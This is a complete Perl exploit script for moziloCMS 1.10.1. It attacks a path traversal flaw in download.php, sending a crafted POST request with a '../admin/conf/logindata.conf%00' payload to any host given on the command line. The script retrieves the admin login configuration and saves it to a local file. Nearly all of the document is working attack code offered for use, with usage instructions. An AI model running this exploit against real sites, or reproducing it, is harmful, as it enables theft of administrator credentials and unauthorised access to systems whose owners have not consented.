#!/usr/bin/perl
#
# moziloCMS 1.10.1 Perl exploit
#
# discovered & written by Ams
# ax330d [doggy] gmail [dot] com
#
# DESCRIPTION:
# Vulnerability hides in "download.php", which we can use to download any file we want to.
# Here, for example, "admin/conf/logindata.conf". (Btw, not very smart solution to keep it open
# not looking on that it is protected by .htaccess)
# Script does not filters global params, it only checks whether local file exists...
# (By the way, all downloads are logged to "/conf/downloads.conf")
#
# USAGE:
# Run exploit :perl expl.pl http://www.site.com
#
# NEEDED:
# magic_quotes_gpc = off
#

use strict;
use IO::Socket;

print "\n\t~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  \n\t\t moziloCMS 1.10.1 exploit (by Ams)
  \n\t~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n";

if(@ARGV<1){
  die "\n\tUsage:\texpl.pl [host]\n\n
  \n\tExample:\texpl.pl http://localhost/blog/\n\n";
}

my $expl_url = $ARGV[0];

print "\n\t[~] Starting exploit...\n";

if($expl_url =~ m#http://#) {
  exploit($expl_url);
} else {
  exploit('http://'.$expl_url);
}

sub exploit {
  
  #  Defining vars.
  my $site = pop @_;
  my ($a, $b, $c, @d) = split /\//,$site;
  my $path = join('/',@d);
  my $host = $c;
  if($path) {$path = '/'.$path;}
  my ($length, $packet, $downloaded, $injection);
  
  #  Revealing /data/sess.php.
  print "\n\t[~] Sending request to 'downloads.php'...\n";
  $injection = "file=hola&cat=../admin/conf/logindata.conf%00";
  $length = length($injection);
  $packet = "POST $path/download.php HTTP/1.1\r\n";
  $packet .= "Host: $host\r\n";
  $packet .= "Connection: Close\r\n";
  $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
  $packet .= "Content-Length: $length\r\n\r\n";
  $packet .= "$injection";
  $downloaded = send_surprise($host, $packet, 1);
  
  if($downloaded =~ /hackin/) {
    print "\n\t[-] Exploiting failed...\n";
  } elsif ($downloaded =~ /200 OK/) {
    #  Parsing and saving received data.
    $downloaded =~ /\r\n\r\n/ ;
    $downloaded = $';
    
    open(DOWNL, ">hola.txt");
    print DOWNL $downloaded;
    close(DOWNL);
    print "\n\t[+] Looks like ok! Check hola.txt\n";
  } else {
    print "\n\t[-] Exploiting failed...\n";
  }
}

sub send_surprise() {
    
  my $dat = 1;
  my ($host, $packet, $ret) = @_;
  my $socket=IO::Socket::INET->new(
    Proto=>"tcp",
    PeerAddr=>$host,
    PeerPort=>"80"
  );
  if( ! $socket) {
    return 0;
  } else {
    
    print $socket $packet;
    if($ret) {
      my $rcv;
      while($rcv = <$socket>) {
      $dat .= $rcv;
      }
    }
    close ($socket);
    return $dat;
  }
}